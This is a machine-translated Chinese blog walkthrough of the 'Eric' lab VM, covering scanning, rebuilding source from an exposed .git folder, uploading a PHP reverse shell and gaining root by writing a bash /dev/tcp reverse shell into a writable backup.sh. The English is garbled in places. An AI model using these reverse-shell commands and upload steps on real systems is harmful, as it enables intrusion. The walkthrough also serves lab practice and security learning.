当前位置:网站首页>Eric target penetration test complete tutorial
Eric target penetration test complete tutorial
2022-08-02 03:59:00 【BIG_ right】
环境准备
Coupon is not connected to the Internet doesn't matter,Mainly is to be in the same network segment
靶机:
Eric
攻击机:
Kali (192.168.56.102)
渗透目标
Get a regular user of
flag
拿到
root
用户下的flag
渗透测试实战
Known drone and ourKali
A virtual machine with the same network segment,现在先用nmap
Scanning the network segment,得到Eric
的IP
地址nmap -sF 192.168.56.0/24
Here you can seeEric
靶机的IP
是192.168.56.101
And find it80端口是开着的,(22端口是ssh不用管),Directly in the browser to access the
很明显,Blog
还没有开发完成
At this time to get site directory,枚举一下dirb http://192.168.56.101
Can be found as above three sensitive directory is we are interested in
访问admin.php
There will be a login interface,But there is no blasting out.....
访问upload
无权限
It is important to note at this time there.git
敏感目录,With this as the breakthrough point in here,Use the following tool bosses,通过泄露的.git
文件夹下的文件,重建还原工程源代码
GitTools
:https://github.com/internetwache/GitTools
GitHack
:https://github.com/lijiejie/GitHack
在这里使用的是GitHack
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
运行py
File reconstruct site code
python GitHack.py http://192.168.56.101/.git/
Direct look at thesephp
What is the file
Then where can find thatadmin.php
In the account and password
Try direct directly with the account and password loginhttp:192.168.56.101/admin.php
Can be found to be a successful login
Can be found that it is a upload file after login web site,This obviously can to uploadshell
To construct ashell
,也可以用kali
自带的
这里使用kali
自带的
cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/test.php
需要修改一下ip/port
(为kali
本机地址)
vim test.php
保存后,kali
Again a listen,这里的1234
为上面test.php
设置的port
nc -nlvp 1234
And then the modified directly to theshell
After the login interface uploadedtest.php
Browse...
选择shell
,Upload
点击上传
Will upload file path for the current target site/upload/
目录下
In the browser to directly access theshell
即可,
http://192.168.56.101/upload/test.php
So you can find a reboundshell成功了
接下来在nc
Window with a command directly to/home/eric/
目录下,用ls -la
Look at the file and file permissions
可以发现其中有flag.txt
,这就是我们的目标
同时发现backup.sh
There is something wrong with the configuration access,Obviously it can write scripts used to mention right,Will powerroot
就用它了
Here to get a regular user offlag
就行
cd /home/eric
ls -la
cat flag.txt
Here is got under the normal user rightsflag
了,还差root
用户下的
先看一下backup.sh
What is the file content
Can be found that it is compressed package site directory,This directly modifysh
文件就行
在kali
中用msf
Tool to print ashell
Script to use(lhost
为kali
的IP
,lport
随便即可)
msfvenom -p cmd/unix/reverse_bash lhost=192.168.56.102 lport=1235 A
Take this scriptecho
到backup.sh
echo "bash -c '0<&78-;exec 78<>/dev/tcp/192.168.56.102/1235;sh <&78 >&78 2>&78'">backup.sh
然后kali
This machine is a listeningnc -nlvp 1235
(1235为上面msf
设置的lport
)
然后直接运行sh
文件./backup.sh
,这样就提权成功了
直接cat flag.txt
看一下root
下的flag
就行
这里就拿到了ROOT
用户权限下的flag
了
完结,撒花***
边栏推荐
- 解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
- (8) requests, os, sys, re, _thread
- New usage of string variable parsing in PHP8.2
- PHP8.2中字符串变量解析的新用法
- hackmyvm: may walkthrough
- 二维码生成API接口,可以直接作为A标签连接
- The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
- Scrapy爬虫遇见重定向301/302问题解决方法
- Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
- Advanced Operations on Arrays
猜你喜欢
(2) Thinkphp6 template engine ** tag
Smart Tips for Frida Scripting in Kali Environment
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
DVWA drone installation tutorial
(4) Function, Bug, Class and Object, Encapsulation, Inheritance, Polymorphism, Copy
hackmyvm: controller walkthrough
Thread Pool (Introduction and Use of Thread Pool)
4. The form with the input
hackmyvm: may walkthrough
TypeScript error error TS2469, error TS2731 solution
随机推荐
Phonebook
Phpstudy安装Thinkphp6(问题+解决)
(4) Function, Bug, Class and Object, Encapsulation, Inheritance, Polymorphism, Copy
Praying: 1 vulnhub walkthrough
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝
(3) Thinkphp6 database
Kali install IDEA
hackmyvm-hopper walkthrough
vim编辑模式
hackmyvm: kitty walkthrough
IP门禁:手把手教你用PHP实现一个IP防火墙
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
Masashi: 1 vulnhub walkthrough
(3) 字符串
DarkHole: 2 vulnhub walkthrough
12.什么是JS
hackmyvm: juggling walkthrough
[symfony/mailer] An elegant and easy-to-use mail library
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
MySql Advanced -- Constraints